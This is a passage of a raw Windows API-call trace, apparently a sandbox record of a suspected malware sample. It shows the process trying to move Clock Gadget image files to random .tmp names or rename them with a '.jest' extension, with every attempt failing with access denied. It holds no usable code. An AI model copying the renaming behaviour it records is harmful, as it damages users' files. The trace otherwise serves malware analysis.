out: hFindFile=0x143ce48) returned 1 [0125.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da79c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.932] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.934] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x32b)) [0125.934] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x32b)) [0125.934] GetUserDefaultLCID () returned 0x409 [0125.934] VarBstrFromR4 (in: fltIn=0x479444e8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.81") returned 0x0 [0125.934] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="µ") returned 1 [0125.934] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0125.935] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0125.935] GetTickCount () returned 0x1151ef6 [0125.935] GetTickCount () returned 0x1151ef6 [0125.935] GetTickCount () returned 0x1151ef6 [0125.935] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0125.935] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0125.935] GetTickCount () returned 0x1151ef6 [0125.935] IsWindowVisible (hWnd=0x30268) returned 0 [0125.935] Sleep (dwMilliseconds=0x0) [0125.936] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.936] GetFullPathNameA (in: lpFileName="OcWmRnkZcMOSunF50T5iLgkjJu8CMEKCOjqjvqr-XQYYct_Jd3-cm5tzshCXOedUHOoMGRLojyOO4VlZe50Ztj 1zFHCHz3oE46Gc.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OcWmRnkZcMOSunF50T5iLgkjJu8CMEKCOjqjvqr-XQYYct_Jd3-cm5tzshCXOedUHOoMGRLojyOO4VlZe50Ztj 1zFHCHz3oE46Gc.tmp", lpFilePart=0x18e708*="OcWmRnkZcMOSunF50T5iLgkjJu8CMEKCOjqjvqr-XQYYct_Jd3-cm5tzshCXOedUHOoMGRLojyOO4VlZe50Ztj 1zFHCHz3oE46Gc.tmp") returned 0x8f [0125.937] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_m.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_m.png", lpFilePart=0x18e708*="modern_m.png") returned 0x4f [0125.937] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_m.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_m.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OcWmRnkZcMOSunF50T5iLgkjJu8CMEKCOjqjvqr-XQYYct_Jd3-cm5tzshCXOedUHOoMGRLojyOO4VlZe50Ztj 1zFHCHz3oE46Gc.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ocwmrnkzcmosunf50t5ilgkjju8cmekcojqjvqr-xqyyct_jd3-cm5tzshcxoeduhoomgrlojyoo4vlze50ztj 1zfhchz3oe46gc.tmp")) returned 0 [0125.937] GetLastError () returned 0x5 [0125.937] GetLastError () returned 0x5 [0125.937] SetLastError (dwErrCode=0x5) [0125.937] GetLastError () returned 0x5 [0125.937] SetLastError (dwErrCode=0x5) [0125.937] GetLastError () returned 0x5 [0125.937] SetLastError (dwErrCode=0x5) [0125.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.938] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0125.938] GetFullPathNameA (in: lpFileName="OcWmRnkZcMOSunF50T5iLgkjJu8CMEKCOjqjvqr-XQYYct_Jd3-cm5tzshCXOedUHOoMGRLojyOO4VlZe50Ztj 1zFHCHz3oE46Gc.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OcWmRnkZcMOSunF50T5iLgkjJu8CMEKCOjqjvqr-XQYYct_Jd3-cm5tzshCXOedUHOoMGRLojyOO4VlZe50Ztj 1zFHCHz3oE46Gc.tmp", lpFilePart=0x18e6e4*="OcWmRnkZcMOSunF50T5iLgkjJu8CMEKCOjqjvqr-XQYYct_Jd3-cm5tzshCXOedUHOoMGRLojyOO4VlZe50Ztj 1zFHCHz3oE46Gc.tmp") returned 0x8f [0125.938] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OcWmRnkZcMOSunF50T5iLgkjJu8CMEKCOjqjvqr-XQYYct_Jd3-cm5tzshCXOedUHOoMGRLojyOO4VlZe50Ztj 1zFHCHz3oE46Gc.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6d57634f, cFileName="RnkZcMOSunF50T5iLgkjJu8CMEKCOjqjvqr-XQYYct_Jd3-cm5tzshCXOedUHOoMGRLojyOO4VlZe50Ztj 1zFHCHz3oE46Gc.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.938] GetLastError () returned 0x2 [0125.938] GetLastError () returned 0x2 [0125.938] SetLastError (dwErrCode=0x2) [0125.938] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.939] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.939] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.939] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.939] GetLastError () returned 0x0 [0125.939] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.939] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ň", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.940] GetLastError () returned 0x0 [0125.940] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.940] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0125.940] GetTickCount () returned 0x1151ef6 [0125.940] GetTickCount () returned 0x1151ef6 [0125.940] GetTickCount () returned 0x1151ef6 [0125.940] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0125.940] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0125.940] GetTickCount () returned 0x1151ef6 [0125.941] IsWindowVisible (hWnd=0x30268) returned 0 [0125.941] Sleep (dwMilliseconds=0x0) [0125.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.941] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.941] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0125.942] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_s.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_s.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_s.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_s.png.jest")) returned 0 [0125.942] GetLastError () returned 0x5 [0125.942] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥浜摯牥彮⹳湰g") returned 0x4f [0125.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=79, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0125.942] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥浜摯牥彮⹳湰g") returned 0x4f [0125.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=80, lpWideCharStr=0x14cf24c, cchWideChar=159 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_s.png") returned 80 [0125.942] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥浜摯牥彮⹳湰⹧敪瑳") returned 0x54 [0125.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=84, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0125.942] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥浜摯牥彮⹳湰⹧敪瑳") returned 0x54 [0125.942] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14cf144, cbMultiByte=85, lpWideCharStr=0x144ddec, cchWideChar=169 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_s.png.jest") returned 85 [0125.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_s.png", cchWideChar=-1, lpMultiByteStr=0x18e6e0, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_s.png", lpUsedDefaultChar=0x0) returned 80 [0125.942] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_s.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_s.png", lpFilePart=0x18e6d8*="modern_s.png") returned 0x4f [0125.943] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_s.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d9e1e5, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb8d9e1e5, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb4fa9c3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbde, dwReserved0=0x78, dwReserved1=0x0, cFileName="modern_s.png", cAlternateFileName="")) returned 0x143ce48 [0125.943] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.943] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.943] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.943] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x32b)) [0125.943] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x32b)) [0125.943] GetUserDefaultLCID () returned 0x409 [0125.943] VarBstrFromR4 (in: fltIn=0x479444e8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.81") returned 0x0 [0125.944] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="„") returned 1 [0125.944] VarCat (in: pvarLeft=0x18eab4, pvarRight=0x18eac4, pvarResult=0x18eaa4 | out: pvarResult=0x18eaa4) returned 0x0 [0125.944] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0125.944] GetTickCount () returned 0x1151ef6 [0125.944] GetTickCount () returned 0x1151ef6 [0125.944] GetTickCount () returned 0x1151ef6 [0125.944] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0125.944] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0125.944] GetTickCount () returned 0x1151ef6 [0125.945] IsWindowVisible (hWnd=0x30268) returned 0 [0125.945] Sleep (dwMilliseconds=0x0) [0125.946] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0125.946] GetFullPathNameA (in: lpFileName="zw6NmUSrTuX4OG FpF_uhi8rHNhgz5kTS7iy6SnKShw3klKTYl7MNZ5cK flgln4SOIKuzX rc82BzgF56wEwvSgYkYuERnxtkRx.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zw6NmUSrTuX4OG FpF_uhi8rHNhgz5kTS7iy6SnKShw3klKTYl7MNZ5cK flgln4SOIKuzX rc82BzgF56wEwvSgYkYuERnxtkRx.tmp", lpFilePart=0x18e708*="zw6NmUSrTuX4OG FpF_uhi8rHNhgz5kTS7iy6SnKShw3klKTYl7MNZ5cK flgln4SOIKuzX rc82BzgF56wEwvSgYkYuERnxtkRx.tmp") returned 0x8f [0125.946] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_s.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_s.png", lpFilePart=0x18e708*="modern_s.png") returned 0x4f [0125.946] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\modern_s.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\modern_s.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zw6NmUSrTuX4OG FpF_uhi8rHNhgz5kTS7iy6SnKShw3klKTYl7MNZ5cK flgln4SOIKuzX rc82BzgF56wEwvSgYkYuERnxtkRx.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zw6nmusrtux4og fpf_uhi8rhnhgz5kts7iy6snkshw3klktyl7mnz5ck flgln4soikuzx rc82bzgf56wewvsgykyuernxtkrx.tmp")) returned 0 [0125.947] GetLastError () returned 0x5 [0125.947] GetLastError () returned 0x5 [0125.947] SetLastError (dwErrCode=0x5) [0125.947] GetLastError () returned 0x5 [0125.947] SetLastError (dwErrCode=0x5) [0125.947] GetLastError () returned 0x5 [0125.947] SetLastError (dwErrCode=0x5) [0125.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.947] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.947] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e804) [0125.948] GetFullPathNameA (in: lpFileName="zw6NmUSrTuX4OG FpF_uhi8rHNhgz5kTS7iy6SnKShw3klKTYl7MNZ5cK flgln4SOIKuzX rc82BzgF56wEwvSgYkYuERnxtkRx.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zw6NmUSrTuX4OG FpF_uhi8rHNhgz5kTS7iy6SnKShw3klKTYl7MNZ5cK flgln4SOIKuzX rc82BzgF56wEwvSgYkYuERnxtkRx.tmp", lpFilePart=0x18e6e4*="zw6NmUSrTuX4OG FpF_uhi8rHNhgz5kTS7iy6SnKShw3klKTYl7MNZ5cK flgln4SOIKuzX rc82BzgF56wEwvSgYkYuERnxtkRx.tmp") returned 0x8f [0125.948] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zw6NmUSrTuX4OG FpF_uhi8rHNhgz5kTS7iy6SnKShw3klKTYl7MNZ5cK flgln4SOIKuzX rc82BzgF56wEwvSgYkYuERnxtkRx.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x4e36777a, cFileName="mUSrTuX4OG FpF_uhi8rHNhgz5kTS7iy6SnKShw3klKTYl7MNZ5cK flgln4SOIKuzX rc82BzgF56wEwvSgYkYuERnxtkRx.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.948] GetLastError () returned 0x2 [0125.948] GetLastError () returned 0x2 [0125.948] SetLastError (dwErrCode=0x2) [0125.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.948] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.949] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.949] GetLastError () returned 0x0 [0125.949] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.949] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ⶆ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.949] GetLastError () returned 0x0 [0125.949] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.950] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᔞ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.950] GetLastError () returned 0x0 [0125.950] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.950] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ň", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x718, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0125.950] GetLastError () returned 0x0 [0125.950] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0125.951] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0125.951] GetTickCount () returned 0x1151f06 [0125.951] GetTickCount () returned 0x1151f06 [0125.951] GetTickCount () returned 0x1151f06 [0125.951] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0125.951] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0125.951] GetTickCount () returned 0x1151f06 [0125.951] IsWindowVisible (hWnd=0x30268) returned 0 [0125.951] Sleep (dwMilliseconds=0x0) [0125.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da79c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.952] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18ea80) [0125.952] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\clock.gadget\\images\\novelty.png.jest")) returned 0 [0125.952] GetLastError () returned 0x5 [0125.952] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥湜癯汥祴瀮杮") returned 0x4e [0125.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=78, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 78 [0125.952] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥湜癯汥祴瀮杮") returned 0x4e [0125.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1467bd4, cbMultiByte=79, lpWideCharStr=0x144bb04, cchWideChar=157 | out: lpWideCharStr="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\novelty.png") returned 79 [0125.952] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥湜癯汥祴瀮杮樮獥t") returned 0x53 [0125.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=83, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0125.952] SysStringByteLen (bstr="㩃停潲牧浡䘠汩獥⠠㡸⤶坜湩潤獷匠摩扥牡䝜摡敧獴䍜潬正䜮摡敧屴浩条獥湜癯汥祴瀮杮樮獥t") returned 0x53 [0125.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=84, lpWideCharStr=0x14cf144, cchWideChar=167 | out: 